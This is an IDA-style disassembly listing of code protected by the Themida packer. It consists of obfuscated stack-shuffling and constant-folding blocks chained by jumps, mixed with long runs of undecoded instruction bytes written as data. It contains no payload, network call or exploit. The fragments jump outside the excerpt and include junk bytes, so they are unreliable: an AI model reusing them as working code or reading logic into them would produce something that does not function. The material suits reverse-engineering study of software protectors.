; ---------------------------------------------------------------------------


loc_572A6F:				; CODE XREF: Themida_:0057547Cj
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56D8F4
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 73E95104h, 5DFFFF42h, 0FF8076E9h, 0D0F796FFh, 0E9F38796h
		dd 0FFFEF61Fh, 0B08E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572AA6:				; CODE XREF: Themida_:0056A06Bj
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, ecx
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		push	0C3Bh
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_561746
; ---------------------------------------------------------------------------


loc_572AC6:				; CODE XREF: Themida_:00572D30j
		pop	ecx
		and	ebp, 67B621E7h
		neg	ebp
		push	edi
		mov	edi, 9849DE1Fh
		xor	ebp, edi
		pop	edi
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_564A71
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0B5D4511h, 0C8BCF01h, 59545124h, 4978B850h, 0E02527E6h
		dd 0E907EC62h, 14BCh, 8F04C483h, 248B2404h, 68E1F724h
		dd 69A4h, 50241489h, 0D481E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572B1E:				; CODE XREF: Themida_:0056CB71j
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_562E7E
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 83240C8Bh, 348904ECh, 0E95E5424h, 0FFFF9375h, 0B98EE95Fh
		dd 0DF31FFFFh, 8BF8315Bh, 5456243Ch, 8124348Bh,	4C4h, 4C68100h
		dd 0E9000000h, 0FFFED8A8h, 503E8C1h, 628D3FA0h,	9545D935h
		dd 7F28E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572B8E:				; CODE XREF: Themida_:005737BCj
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	ebx, 379B1807h
		or	eax, ebx
		pop	ebx
		or	eax, 124E37F8h
		shl	eax, 8
		push	176Ch
		mov	[esp], edx
		jmp	loc_56E241
; ---------------------------------------------------------------------------


loc_572BB8:				; CODE XREF: Themida_:00567846j
		mov	dl, 7Ch
		jmp	loc_574D5D
; ---------------------------------------------------------------------------


loc_572BBF:				; CODE XREF: Themida_:00573A3Cj
		sub	ecx, 3E6E0951h
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 481C50F1h
		sub	ecx, 1
		sub	ecx, 7DD2B8E6h
		sub	edx, ecx
		pop	ecx
		add	ebp, 0F480FD3h
		add	ebp, edx
		sub	ebp, 0F480FD3h
		pop	edx
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_566462
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 5F8DE95Ch, 525CFFFFh, 34E9E289h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572C0F:				; CODE XREF: Themida_:00569862j
		add	esp, 4
		add	ch, 10h
		jmp	loc_56B1C8
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0F5h
		dd 0F7010E44h, 20C281D2h, 29411DC5h, 68E95AD0h
		db 0DAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572C33:				; CODE XREF: Themida_:00567D61j
		inc	eax
		and	eax, 2CB65CF7h
		xor	eax, 6F221A4Fh
		add	eax, 551E5486h
		sub	edx, eax
		pop	eax
		add	esi, edx
		pop	edx
		and	ebx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562060
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 2CEE8100h, 5139451Dh, 7E17BA52h, 0E953343Bh
		dd 0FFFF07EFh, 0C281E289h, 4, 419EE955h, 895CFFFFh, 4A682404h
		dd 89000039h, 0CC68240Ch, 59175D44h, 2E1EC181h,	0C141321Fh
		dd 0C18108E9h, 1FABA2A0h, 4859C889h, 0FF4021E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572CB5:				; CODE XREF: Themida_:00562117j
		inc	edi
		shl	edi, 8
		xor	edi, 5A408004h
		jmp	loc_56F8D9
; ---------------------------------------------------------------------------
		dd 0F5CCE941h, 0E95CFFFFh, 0FFFF9ADAh
; ---------------------------------------------------------------------------


loc_572CD0:				; CODE XREF: Themida_:00569840j
		sub	ebx, 4C9061ECh
		add	ebx, 58844835h
		sub	ebx, eax
		push	7084h
		mov	[esp], eax
		mov	eax, 58844835h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	5F7Bh
		jmp	loc_573364
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF73B0h, 81E28952h, 4C2h, 4C28300h, 0E9241487h
		dd 0FFFF617Dh
; ---------------------------------------------------------------------------


loc_572D1C:				; CODE XREF: Themida_:00561775j
		sub	ecx, 7A3A186Fh
		and	ecx, 7CE95990h
		xor	ecx, 2CF56C99h
		or	ebp, ecx
		jmp	loc_572AC6
; ---------------------------------------------------------------------------
		db 68h,	31h, 44h
		dd 0FAE95BF6h, 5E000012h, 0FF8874E9h
		db 0FFh
byte_572D45	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FD2Co
		dd 0E756824h, 1C890000h, 1C8B5424h, 2EFFE924h, 0F028FFFFh
		dd 148B1D2Ch, 9818E924h, 0C281FFFFh, 8703FADFh,	0FF02EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572D71:				; CODE XREF: Themida_:00563F90j
		pop	edi
		sub	ebx, 0BC50542h
		add	edx, 2A4C53A4h
		jmp	loc_57319A
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 4246C81h,	1F50717Bh, 2608BD55h, 6C017FD9h, 15D0824h
		dd 0E904247Ch, 0FFFF61A2h
; ---------------------------------------------------------------------------


loc_572DA4:				; CODE XREF: Themida_:00567455j
		push	edx
		mov	edx, 1
		sub	esi, edx
		jmp	loc_565626
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0D5h
		dd 0C16C4D29h, 0E7C108E7h, 6C78105h, 1469FCFh, 315A5FFEh
		dd 24348BF0h, 4C481h, 89E90000h
		db 0Eh,	2 dup(0FFh)
byte_572DD7	db 8Bh			; DATA XREF: Themida_:0055FD88o
		dd 68572404h, 7F6Dh, 81242489h,	42404h,	0E0E90000h, 87FFFFE8h
		dd 8F5C2404h, 315C2404h, 0E99C2404h, 0FFFF5D25h
; ---------------------------------------------------------------------------


loc_572E00:				; CODE XREF: Themida_:005731D2j
		mov	esi, 294C6B63h
		dec	esi
		jmp	loc_571EB3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 34FFFE29h, 89B7E924h
		db 2 dup(0FFh)
word_572E16	dw 34FFh		; DATA XREF: Themida_:0055FF48o
		dd 24048B24h, 4C481h, 0EC830000h, 24048904h, 34C968h, 48F5400h
		dd 389AE924h, 0CB81FFFFh, 1F746242h, 0F704E3C1h, 0F8F381D3h
		dd 0E9C96F4Bh, 0FFFEDF82h, 0DE89D389h, 0FF2063E9h, 5BDD01FFh
		dd 4EC81h, 34890000h, 3493BE24h, 0EE8172FBh, 7BE20479h
		dd 0C681D6F7h, 707F4027h, 0FF5F5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572E79:				; CODE XREF: Themida_:00575045j
		dec	edx
		push	edx
		not	dword ptr [esp]
		jmp	loc_5703CD
; ---------------------------------------------------------------------------
		db 0Fh
		dd 6866C0B6h, 89665D67h, 0CE92404h, 83FFFED1h, 5E042404h
		dd 4C681h, 0EC830000h, 0E523E904h, 0E2C1FFFEh, 81E2D106h
		dd 0B24684F2h, 0E9D3014Fh, 0FFFF2768h, 814BF581h, 0EA89A333h
		dd 23EBE95Dh, 0C7810000h, 4, 13E0E9h, 24048F00h, 0E924248Bh
		dd 0FFFEF6E5h
dword_572EDC	dd 0E92434FFh, 0FFFF9369h ; DATA XREF: Themida_:0055FE68o
; ---------------------------------------------------------------------------


loc_572EE4:				; CODE XREF: Themida_:0056BEA0j
		add	esp, 4
		mov	ecx, edx
		pop	edx
		push	edx
		push	ebp
		mov	ebp, 0
		jmp	loc_56018C
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 0FFFED64Bh
; ---------------------------------------------------------------------------


loc_572F04:				; CODE XREF: Themida_:00571EEDj
		sub	dword ptr [esp], 7BAE44F2h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_560E6D
; ---------------------------------------------------------------------------


loc_572F17:				; CODE XREF: Themida_:0056B1FAj
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_566AB0
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0F2AC2EFh, 52EF0124h, 0F2AC2BAh, 5AD70124h
		dd 5D2434FFh, 42EE9h, 0EDED8100h, 1636235h, 0DDE3E9D5h
		dd 0E681FFFEh, 15B779F0h, 80CEE81h, 0F7011027h,	8324348Bh
		dd 3C8704C4h, 24248B24h, 0FF5608E9h, 0ABE951FFh, 81000009h
		dd 0ECB269C5h, 5DE929C5h, 0FCC1815Dh, 0E97E745Eh, 0FFFED09Ch
; ---------------------------------------------------------------------------


loc_572F88:				; CODE XREF: Themida_:005738F5j
		mov	ebx, 45182683h
		dec	ebx
		dec	ebx
		sub	ebx, 358B3C74h
		sub	ebx, 49FC68F7h
		add	ebx, 0B6889677h
		or	eax, ebx
		jmp	loc_57067D
; ---------------------------------------------------------------------------
		dd 0D2DAE956h, 0E781FFFFh, 25FF5C42h, 801CF81h,	0BB533BDFh
		dd 1F72265Fh, 21EB8143h, 29DF731Ah, 0FE015BDFh,	81243C8Bh
		dd 4C4h, 24343300h, 33243431h, 295C2434h, 0E99C2404h, 0FFFECFB7h
		dd 0C281CA01h, 1EFD099Bh, 81240C8Bh, 4C4h, 0DAE95200h
		dd 68FFFF59h, 350E0E94h, 11F6815Eh, 89679839h, 0FFE95EF7h
		dd 33FFFF00h, 248B240Ch, 0E6EDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57301E:				; CODE XREF: Themida_:0056F8D4j
		mov	edi, 757B74C4h
		xor	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 422736BEh
		or	edx, 51CD02EAh
		xor	edx, 55F16EE9h
		push	edi
		push	ebx
		mov	ebx, 1556429Fh
		neg	ebx
		push	edx
		mov	edx, 2A680802h
		jmp	loc_56E9F6
; ---------------------------------------------------------------------------
		db 0BAh, 0A5h, 59h
		dd 0B9513E0Fh, 10E219E5h, 8159CA09h, 1E915C2h, 1AFC05FCh
		dd 0BE567A02h, 42A649D4h, 295EF029h, 49D405D0h,	0FC2D42A6h
		dd 8B7A021Ah, 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 243C8B5Ch, 4C481h, 0C7E90000h, 5BFFFF04h, 240C8B66h
		dd 6602C483h, 6668FD68h, 0B1240C89h, 66C8283Ah,	3D286859h
		dd 14890000h, 72685024h, 8900003Ch, 0B151241Ch,	0FED9F68Ah
		dd 0E9E4E9C9h, 8159FFFFh, 7F2A3BC7h, 0E9D7010Bh, 0FFFF28FAh
		dd 243C895Ch, 55525F54h, 4BE56h, 0F5890000h, 0FF0FEEE9h
		dd 4DC581FFh, 5EA1203h,	7895591Ch, 1C2DE829h, 5D789559h
		dd 0BD55E829h, 29D72F67h, 8105E5C1h, 0C55563F5h, 0EDC14507h
		dd 0E8C58106h, 11C1BDCh, 5CE0E9E8h, 3489FFFFh, 3BE95324h
		dd 0BDFFFFBFh, 2D8A0639h, 4506E5C1h, 5DE1ED81h,	0E9565B74h
		dd 0FFFFC981h, 0E952E689h, 0FFFFBD11h, 0E924248Bh, 0FFFF4185h
		dd 0E7E9DD29h, 81FFFEF2h, 4ECh,	240C8900h, 4B9h, 59CD0100h
		dd 57DFE952h, 481FFFFh,	424h, 1DE95800h, 4FFFF51h, 3949683Ah
		dd 0C890000h, 169FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57319A:				; CODE XREF: Themida_:00572D7Ej
		add	edx, ebx
		push	esi
		mov	esi, 7D53D85h
		push	esi
		not	dword ptr [esp]
		pop	esi
		not	esi
		xor	esi, 28B3415Fh
		sub	esi, 36C95550h
		sub	esi, 0CE50D3E6h
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	ebx
		sub	edx, eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_572E00
; ---------------------------------------------------------------------------
		db 29h
		dd 5BDE89F3h, 2D55E953h, 0EEC1FFFFh, 2D526805h,	0C890000h
		dd 0BF51E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5731F2:				; CODE XREF: Themida_:00561028j
		pop	eax
		pop	ebx
		jmp	loc_573909
; ---------------------------------------------------------------------------


loc_5731F9:				; CODE XREF: Themida_:00564A0Ej
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 47h
		xor	cl, 46h
		sub	bl, 0E2h
		add	bl, cl
		jmp	loc_562A4A
; ---------------------------------------------------------------------------


loc_573211:				; CODE XREF: Themida_:0056A176j
		add	ebp, 4
		jmp	loc_570C89
; ---------------------------------------------------------------------------


loc_57321C:				; CODE XREF: Themida_:005736DDj
		mov	[esp], eax
		mov	eax, 0
		push	ecx
		mov	ecx, 38FA1772h
		or	ecx, 481D3BA9h
		xchg	edi, ecx
		dec	edi
		xchg	edi, ecx
		add	ecx, 0ADFACBABh
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		add	eax, 26FA0BA5h
		mov	ecx, [eax]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_567D42
; ---------------------------------------------------------------------------


loc_573252:				; CODE XREF: Themida_:00568B20j
		sub	dword ptr [esp], 48C03077h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_56567A
; ---------------------------------------------------------------------------


loc_573265:				; CODE XREF: Themida_:00563C29j
		add	ecx, 20F30807h
		jmp	loc_564480
; ---------------------------------------------------------------------------


loc_573270:				; CODE XREF: Themida_:00571B60j
		xor	esi, 0B5081C55h
		xor	edi, esi
		jmp	loc_574CE8
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4BE5600h, 29000000h, 0EC835EF2h, 24148904h, 42474FFh
		dd 8324148Bh, 48F04C4h,	4895C24h, 0E9585424h, 0FFFF548Bh
; ---------------------------------------------------------------------------


loc_5732AC:				; CODE XREF: Themida_:005620B2j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 525529EBh
		not	edi
		neg	edi
		shr	edi, 1
		xor	edi, 292A94F2h
		sub	eax, edi
		pop	edi
		jmp	loc_56124A
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 246C8104h, 2D13C504h, 246C292Eh, 24448104h, 2D13C504h
		dd 2434FF2Eh, 0FF96F7E9h, 0E3B551FFh, 308DC580h, 240C8BEEh
		dd 0D004C483h, 0B7EE80EEh, 6BE9172Ch, 51FFFF21h, 43127B68h
		dd 0C181594Bh, 1B9967B2h, 8959CB89h, 0FE0EE9DEh, 0EB81FFFEh
		dd 8DC897C7h, 565BDD01h, 0FFE380E9h, 0C4835EFFh, 97E95504h
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573337:				; CODE XREF: Themida_:0056D7F6j
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_561E82
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 0FF2B34E9h, 81D329FFh, 0B77967C3h, 0D5EB8159h, 522E3322h
		dd 3D0404BAh, 0E9D2F70Ch, 0FFFFE783h
; ---------------------------------------------------------------------------


loc_573364:				; CODE XREF: Themida_:00572CFBj
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_568B5A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 36E36800h, 0C890000h, 2B924h, 0CF010000h, 74FF5759h
		dd 8F5F0424h, 248B2404h, 0C8B6624h, 43E95324h, 31FFFFD9h
		dd 3C33243Ch, 24248B24h, 4EC81h, 0A7E90000h, 5BFFFFC0h
		dd 12D4EF81h, 0CF017982h, 12D4C781h, 56597982h,	56D72BEh
		dd 28E6E96Ah, 0BD55FFFFh, 416E25F6h, 0ED81D5F7h, 23E51265h
		dd 1936E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5733DE:				; CODE XREF: Themida_:0057068Ej
		mov	esi, 3EDD43F8h
		jmp	loc_564D17
; ---------------------------------------------------------------------------
		dd 4C781h, 3C870000h, 89535C24h, 4C381E3h, 83000000h, 1C8704C3h
		dd 0C3305C24h, 0E9C0B60Fh, 0FFFFCF88h, 0E9243C8Bh, 0FFFEEA1Bh
		dd 265B02BBh, 245C292Ch, 241C8B04h, 0E904C483h,	0FFFF42BAh
		dd 0E901C683h, 0FFFF6474h, 2C28159h, 52000000h,	42474FFh
		dd 0FF0715E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573441:				; CODE XREF: Themida_:005705E8j
		sub	bh, 0A0h
		pop	ecx
		jmp	loc_572746
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 547BE56h, 0F1294873h, 0FFF8E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573459:				; CODE XREF: Themida_:00560002j
		and	eax, 1BB05FCAh
		shl	eax, 6
		dec	eax
		dec	eax
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		jmp	loc_56B761
; ---------------------------------------------------------------------------


loc_57346C:				; CODE XREF: Themida_:0056C55Cj
		push	esi
		mov	esi, 2000000h
		push	544Fh
		jmp	loc_56134D
; ---------------------------------------------------------------------------


loc_57347C:				; CODE XREF: Themida_:00571006j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_574315
; ---------------------------------------------------------------------------
		db 88h,	0D8h, 88h
		dd 0CB8858C6h, 0E3E9F188h, 83FFFF91h, 22E904C4h
		db 3Fh,	2 dup(0FFh)
byte_5734A7	db 0ADh			; DATA XREF: Themida_:0055FE20o
		dd 1D426857h, 0D1E92158h
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5734B3:				; CODE XREF: Themida_:00565655j
		pop	esi
		jmp	loc_5675EF
; ---------------------------------------------------------------------------


loc_5734B9:				; CODE XREF: Themida_:0056E1B3j
		sub	edi, eax
		pop	eax
		jmp	loc_570B84
; ---------------------------------------------------------------------------


loc_5734C1:				; CODE XREF: Themida_:0056478Fj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 40000h
		push	ebx
		push	edx
		mov	edx, 59673A05h
		sub	dword ptr [esp+4], 6EF6571Ch
		sub	[esp+4], edx
		add	dword ptr [esp+4], 6EF6571Ch
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		push	ebp
		mov	ebp, 31ED214Ah
		dec	ebp
		jmp	loc_567636
; ---------------------------------------------------------------------------


loc_5734FB:				; CODE XREF: Themida_:00568E28j
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_5639CA
; ---------------------------------------------------------------------------
byte_573509	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FCC0o
		dd 24E95224h, 81FFFFDFh, 27507BF6h, 0F28952FAh,	8B5A5952h
		dd 0C4832434h, 0E9C82904h, 0FFFFEF36h, 8043FB68h, 24148B52h
		dd 4C481h, 0DAF70000h, 6B85BB53h, 0F381117Bh, 6D0A1B19h
		dd 0FF3807E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57354D:				; CODE XREF: Themida_:0057501Aj
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	ebp
		jmp	loc_565008
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 0B6h
		dd 0FFAFEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573569:				; CODE XREF: Themida_:005606FEj
		xchg	edx, [esp]
		pop	esp
		xor	dl, 0F8h
		add	dl, 3Dh
		xor	al, dl
		push	dword ptr [esp]
		jmp	loc_569568
; ---------------------------------------------------------------------------


loc_57357D:				; CODE XREF: Themida_:00574DA7j
		pop	ebx
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 4F6411B7h
		add	ebx, 69AC6D37h
		sub	ebx, edi
		push	eax
		mov	eax, 69AC6D37h
		jmp	loc_56D2AB
; ---------------------------------------------------------------------------
		dd 0EC513FB8h, 0BE9EE91Bh, 8155FFFFh, 0CBD2434h, 815E0B84h
		dd 840CBDF6h, 51565D0Bh, 240C8B5Eh, 0E904C483h,	0FFFF1BD5h
; ---------------------------------------------------------------------------


loc_5735C8:				; CODE XREF: Themida_:00573982j
		neg	ecx
		xor	ecx, 0B392C3B8h
		mov	esi, ecx
		pop	ecx
		sub	edx, esi
		jmp	loc_573C6B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 32D5673Dh, 8108EBC1h, 6EF3D3F3h, 0AEE6E940h,	0EE81FFFFh
		dd 589D1F27h, 0FFC87DE9h, 29E959FFh
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5735FF:				; CODE XREF: Themida_:00560940j
		mov	[esp], eax
		jmp	loc_56410B
; ---------------------------------------------------------------------------


loc_573607:				; CODE XREF: Themida_:00562B4Bj
		push	edx
		mov	edx, 5934AC8Ch
		jmp	loc_564C1F
; ---------------------------------------------------------------------------
word_573612	dw 8B66h		; DATA XREF: Themida_:0055FCE4o
		dd 5453240Ch, 0E9241C8Bh, 0FFFF9104h, 0BF57D801h, 5D4E41B4h
		dd 6F03F781h, 0F82907EDh, 4875B5Fh, 24248B24h, 24042966h
		dd 0C95DE99Ch, 0CE81FFFEh, 62EB45D5h, 8AAF681h,	0C6817DA7h
		dd 42075947h, 0FFFB89E9h, 2434FFFFh, 8D80E95Ah,	0AC05FFFFh
		dd 2D0CB612h, 17C657AFh, 24348B5Fh, 6804C483h, 6BE5h, 0FF1A7FE9h
		dd 0E9E9F6FFh, 0FFFF0F52h, 3BCCBF57h, 0EF810E37h, 76314A9Ch
		dd 241CF757h, 56243C8Bh, 29E9E689h
		db 0DFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57369F:				; CODE XREF: Themida_:00565F32j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	263Bh
		jmp	loc_564082
; ---------------------------------------------------------------------------
		db 89h
		dd 6E9241Ch
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5736C7:				; CODE XREF: Themida_:0056F8C4j
		add	ebx, 262772EAh
		push	edx
		push	21EC78BAh
		pop	edx
		add	ebx, edx
		pop	edx
		sub	esp, 4
		jmp	loc_57321C
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 0E9525558h, 0FFFFC5C9h
; ---------------------------------------------------------------------------


loc_5736EC:				; CODE XREF: Themida_:005727B8j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_567049
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 57130F65h, 760DE581h, 0BE560C48h, 0F749F359h, 295EF529h
		dd 0CD6BE9E8h, 0C581FFFFh, 534F4A02h, 2158ED81h, 5F5E2723h
		dd 8B242C87h, 0F662424h, 9C2404B3h, 0FEC86AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573735:				; CODE XREF: Themida_:00563892j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_56CE6D
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 69B11F7Ah
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_561332
; ---------------------------------------------------------------------------
		db 1
		dd 0CE8159CEh, 17F55A8Dh, 79BB5351h, 81197D4Eh,	8573DEEBh
		dd 8DC2E981h, 0EC81FFFFh, 4, 0BF243C89h, 88073D3Bh, 3C8BFA29h
		dd 4C48124h, 0E9000000h, 159Ch,	633BE958h, 0C481FFFFh
		dd 4, 335EF701h, 3C31243Ch, 243C3324h, 0FFA2BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5737B9:				; CODE XREF: Themida_:005644B1j
		push	dword ptr [esp]
		jmp	loc_572B8E
; ---------------------------------------------------------------------------


loc_5737C1:				; CODE XREF: Themida_:005612B5j
		pop	edi
		add	ebx, 6FD86E81h
		add	ebx, eax
		sub	ebx, 6FD86E81h
		jmp	loc_566EF8
; ---------------------------------------------------------------------------


loc_5737D5:				; CODE XREF: Themida_:0057510Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5678F4
; ---------------------------------------------------------------------------


loc_5737EB:				; CODE XREF: Themida_:00561419j
		mov	ebp, 19CB674Fh
		xor	ebp, 68CC7BCEh
		jmp	loc_5629C7
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF7A10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573801:				; CODE XREF: Themida_:00566E6Aj
		mov	ecx, 0EC9F145Bh
		add	edx, ecx
		jmp	loc_5653F6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 8F3A6CEAh, 2C78131h, 296CDD7Fh, 2EF81D7h
		dd 5A6CDD7Fh, 41D9C781h, 96E93365h, 5EFFFEDFh, 4C681h
		dd 0E9560000h, 0FFFF78BEh, 7E4068h, 240C8900h, 0FC5360B9h
		dd 70C581DEh, 81313518h, 6972E6EDh, 81CD2918h, 6972E6C5h
		dd 70ED8118h, 0E9313518h, 0FFFF1ADAh, 64464E2Dh, 6220E991h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573876:				; CODE XREF: Themida_:00562E0Aj
		push	ebx
		jmp	loc_56AF28
; ---------------------------------------------------------------------------


loc_57387C:				; CODE XREF: Themida_:005657E5j
		mov	[esp], ecx
		mov	ch, 0Bh
		xor	ch, 0AAh
		push	ebx
		jmp	loc_569D40
; ---------------------------------------------------------------------------
		dw 8166h
		dd 66472AEAh, 0B0E9C229h, 5FFFFF2Fh, 0FF6BA8E9h, 24048BFFh
		dd 4C481h, 0E95A0000h, 0FFFF2B61h, 5C24048Fh, 81E68956h
		dd 4C6h, 4EC8100h, 89000000h, 4BA2414h,	81000000h, 0B715B1C6h
		dd 0D2CEE951h, 665CFFFEh, 8124048Bh, 4ECh, 242C8900h, 4EC81h
		dd 24890000h, 4EC8124h,	0E9000000h, 0FFFEF1A6h
; ---------------------------------------------------------------------------


loc_5738F4:				; CODE XREF: Themida_:0056F77Dj
		push	ebx
		jmp	loc_572F88
; ---------------------------------------------------------------------------
word_5738FA	dw 77FFh		; DATA XREF: Themida_:0055FD74o
		dd 59669D1Ch, 9C2414D2h, 0FEC696E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573909:				; CODE XREF: Themida_:005731F4j
		mov	edi, [esp]
		jmp	loc_564771
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0EBh
		dd 241C8704h, 23BDE95Ch, 0E950FFFFh, 0FFFF4400h, 0E7895758h
		dd 4C781h, 0C7830000h, 243C8704h, 0FFB3A3E9h, 0C661E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57393E:				; CODE XREF: Themida_:0056E72Bj
		add	edx, ecx
		jmp	loc_5745F2
; ---------------------------------------------------------------------------
		db 66h,	9, 4
		dd 50E99C24h, 66FFFEC6h, 66244ABBh, 0EBC1664Bh,	0E7C7E907h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57395E:				; CODE XREF: Themida_:0056E1C1j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		or	edx, 33E404BDh
		or	edx, 35A51C58h
		dec	edx
		push	esi
		push	ecx
		mov	ecx, 16B87D9Eh
		jmp	loc_5735C8
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF99FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57398D:				; CODE XREF: Themida_:0056EBDBj
		pop	ebx
		and	edx, 7F4947C0h
		sub	edx, 25427C70h
		not	edx
		push	4272h
		mov	[esp], edi
		jmp	loc_572725
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9242489h, 0FFFF31C5h, 8924248Bh, 0EABD242Ch, 0C171A45Ah
		dd 0ED8105EDh, 38D22D3h, 1B11E981h, 0E9015256h,	0FF52FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5739D5:				; CODE XREF: Themida_:0056636Dj
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, ebx
		jmp	loc_568275
; ---------------------------------------------------------------------------
word_5739E2	dw 77FFh		; DATA XREF: Themida_:0055FD7Co
		dd 59669D1Ch, 9C241CD2h, 0FEC5AEE9h, 81DAF7FFh,	9530D2CAh
		dd 76F2810Fh, 818213FDh, 105F79E9h, 0E9D10113h,	0FFFFA50Ah
		dd 23F068h, 974CE900h, 5868FFFFh, 5B13E54Eh, 0FFFFBD55h
		dd 0EB01FFFFh, 0A1BF575Dh, 811D1939h, 3C7B13E7h, 51E3E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


